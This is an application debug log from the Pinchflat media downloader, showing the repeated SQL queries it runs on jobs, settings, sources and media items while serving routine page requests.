idle=0.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2328] 21:43:10.832 [debug] QUERY OK source="settings" db=1.8ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:10.834 [debug] QUERY OK source="oban_jobs" db=2.5ms queue=0.4ms idle=0.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2351] 21:43:10.835 [debug] QUERY OK source="oban_jobs" db=2.8ms idle=1.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2317] 21:43:10.835 [debug] QUERY OK source="settings" db=0.7ms queue=0.2ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:10.836 [debug] QUERY OK source="settings" db=0.9ms queue=0.4ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:10.836 [debug] QUERY OK source="settings" db=0.4ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:10.837 [debug] QUERY OK source="settings" db=1.1ms queue=0.1ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:10.838 [debug] QUERY OK source="settings" db=1.8ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:10.839 [debug] QUERY OK source="settings" db=3.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:10.840 [debug] QUERY OK source="settings" db=1.2ms queue=0.2ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:10.841 [debug] QUERY OK source="settings" db=0.9ms queue=0.4ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:10.844 [debug] QUERY OK source="settings" db=4.0ms queue=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:10.854 [debug] QUERY OK source="sources" db=15.5ms queue=6.5ms idle=0.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 21:43:10.856 [info] Sent 200 in 57ms 21:43:10.857 [debug] QUERY OK source="media_profiles" db=0.9ms idle=16.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 21:43:10.857 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.4ms idle=16.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:43:10.879 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=38.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 21:43:10.880 [debug] QUERY OK source="sources" db=0.2ms idle=35.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 21:43:10.885 [debug] QUERY OK source="media_items" db=0.7ms queue=0.6ms idle=27.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [10] 21:43:10.886 [debug] QUERY OK source="media_items" db=0.7ms queue=0.9ms idle=29.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [7] 21:43:10.886 [info] Sent 200 in 71ms 21:43:10.889 [debug] QUERY OK source="media_items" db=0.5ms queue=0.4ms idle=31.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [10, 10, 0] 21:43:10.890 [info] Sent 200 in 85ms 21:43:10.891 [debug] QUERY OK source="sources" db=0.3ms queue=0.2ms idle=11.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 21:43:10.893 [debug] QUERY OK source="media_items" db=1.6ms idle=11.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [7, 10, 0] 21:43:10.893 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=6.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [10] 21:43:10.894 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=7.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [10, 10, 0] 21:43:10.898 [info] Sent 200 in 90ms 21:43:10.902 [debug] QUERY OK source="sources" db=0.6ms idle=11.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 21:43:10.903 [debug] QUERY OK source="media_items" db=0.3ms idle=9.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [7] 21:43:10.903 [debug] QUERY OK source="sources" db=0.6ms idle=10.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 21:43:10.903 [info] Sent 200 in 138ms 21:43:10.903 [debug] QUERY OK source="media_items" db=0.5ms idle=9.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [7, 10, 0] 21:43:10.905 [debug] QUERY OK source="sources" db=0.4ms idle=2.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 21:43:10.905 [debug] QUERY OK source="media_items" db=0.5ms queue=0.4ms idle=9.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [10] 21:43:10.906 [debug] QUERY OK source="media_items" db=0.4ms queue=0.2ms idle=2.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [7] 21:43:10.908 [debug] QUERY OK source="media_items" db=1.6ms queue=0.3ms idle=3.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [10, 10, 0] 21:43:10.909 [debug] QUERY OK source="media_items" db=2.8ms queue=0.4ms idle=2.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [7, 10, 0] 21:43:10.910 [info] Sent 200 in 130ms 21:43:10.911 [info] Sent 200 in 106ms 21:43:11.139 [info] GET /sources/7/media/13747 21:43:11.139 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "13747", "source_id" => "7"} Pipelines: [:browser] 21:43:11.141 [debug] QUERY OK source="media_items" db=0.8ms idle=235.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [13747] 21:43:11.143 [debug] QUERY OK source="tasks" db=1.1ms queue=0.1ms idle=237.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [13747] 21:43:11.144 [debug] QUERY OK source="sources" db=2.0ms idle=236.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 21:43:11.146 [debug] QUERY OK source="oban_jobs" db=0.7ms idle=237.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2308] 21:43:11.148 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=237.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:11.149 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:11.150 [debug] QUERY OK source="settings" db=0.5ms queue=0.2ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:11.151 [debug] QUERY OK source="media_profiles" db=0.2ms idle=6.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", 